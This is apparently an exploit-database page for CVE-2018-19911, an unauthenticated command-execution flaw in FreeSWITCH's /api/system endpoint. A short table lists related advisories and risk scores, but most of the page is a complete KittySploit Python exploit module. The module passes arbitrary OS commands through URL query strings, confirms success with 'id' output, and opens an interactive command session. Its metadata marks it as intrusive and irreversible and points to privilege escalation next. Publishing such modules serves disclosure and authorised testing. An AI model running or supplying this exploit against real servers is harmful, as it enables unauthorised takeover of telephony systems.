FreeSWITCH - /api/system Command Execution (CVE-2018-19911)
| Reporter | Title | Published | Views | Family All 9 |
|---|---|---|---|---|
| CVE-2018-19911 | 6 Dec 201818:00 | – | cve | |
| CVE-2018-19911 | 6 Dec 201818:00 | – | cvelist | |
| FreeSWITCH - /api/system RCE Detection (CVE-2018-19911) | 10 Aug 202606:19 | – | kittysploit | |
| CVE-2018-19911 | 6 Dec 201818:29 | – | nvd | |
| FreeSWITCH RCE Vulnerability | 6 Dec 201900:00 | – | openvas | |
| Cross site request forgery (csrf) | 6 Dec 201818:29 | – | prion | |
| PT-2018-15159 | 6 Dec 201800:00 | – | ptsecurity | |
| CVE-2018-19911: Improper Neutralization of Special Elements used in a Command | 6 Dec 201800:00 | – | rapid7 | |
| CVE-2018-19911 | 22 May 202512:57 | – | redhatcve |
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""FreeSWITCH /api/system RCE (CVE-2018-19911) — opens execute session."""
import re
from urllib.parse import quote
from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler
class Module(Exploit, Http_client, Handler):
__info__ = {
'name': 'FreeSWITCH - /api/system Command Execution (CVE-2018-19911)',
'description': (
'Exploits CVE-2018-19911 by passing OS commands to /api/system/?<cmd>. '
'Opens an interactive execute session.'
),
'author': ['KittySploit Team'],
'cve': ['CVE-2018-19911'],
'platform': Platform.LINUX,
'payload': {'default': 'nopayload'},
'references': ['https://nvd.nist.gov/vuln/detail/CVE-2018-19911'],
'tags': ['freeswitch', 'rce', 'unauth', 'cve-2018-19911'],
'agent': {
'risk': 'intrusive',
'effects': ['active_exploitation'],
'expected_requests': 1,
'reversible': False,
'approval_required': True,
'produces': ['exploit_paths', 'risk_signals'],
'cost': 1.5,
'noise': 0.5,
'value': 1.0,
'requires': {
'min_endpoints': 0, 'min_params': 0,
'tech_hints_any': [], 'tech_hints_all': [],
'specializations_any': [], 'risk_signals_any': [],
'auth_session': False, 'capabilities_any': [], 'capabilities_all': [],
'confidence_min': {}, 'confidence_min_any': {},
'endpoint_pattern_any': [], 'param_any': [], 'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [
{'capability': 'rce', 'from_detail': ''},
{'capability': 'shell', 'from_detail': ''},
],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': [
'post/shell/multi/gather/privesc_suggester',
'scanner/http/cve_2018_19911_detect',
],
},
},
}
base_path = OptString('', 'Optional FreeSWITCH HTTP base path', required=False)
api_path = OptString('/api/system', 'API system endpoint', required=False)
def _prefix(self) -> str:
base = str(self.base_path or '').strip()
if not base or base == '/':
return ''
if not base.startswith('/'):
base = '/' + base
return base.rstrip('/')
def execute(self, cmd: str) -> str:
api = str(self.api_path or '/api/system')
path = f'{self._prefix()}{api}/?{quote(str(cmd), safe="")}'
r = self.http_request(method='GET', path=path, allow_redirects=False)
if not r:
return ''
return r.text or ''
def check(self):
body = self.execute('id')
if re.search(r'uid=\d+', body or ''):
return {
'vulnerable': True,
'reason': 'CVE-2018-19911 confirmed: id via /api/system',
'confidence': 'high',
}
return {
'vulnerable': False,
'reason': 'No command output observed',
'confidence': 'medium',
}
def check_execute(self):
token = self.random_text(8)
return token in (self.execute(f'echo {token}') or '')
def run(self):
if not self.check_execute():
self.not_vulnerable()
return False
return self.handler_execute()
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10 Aug 2026 06:19Current
7.5High risk
Vulners AI Score7.5
CVSS 37.5
CVSS 27.6
EPSS0.02696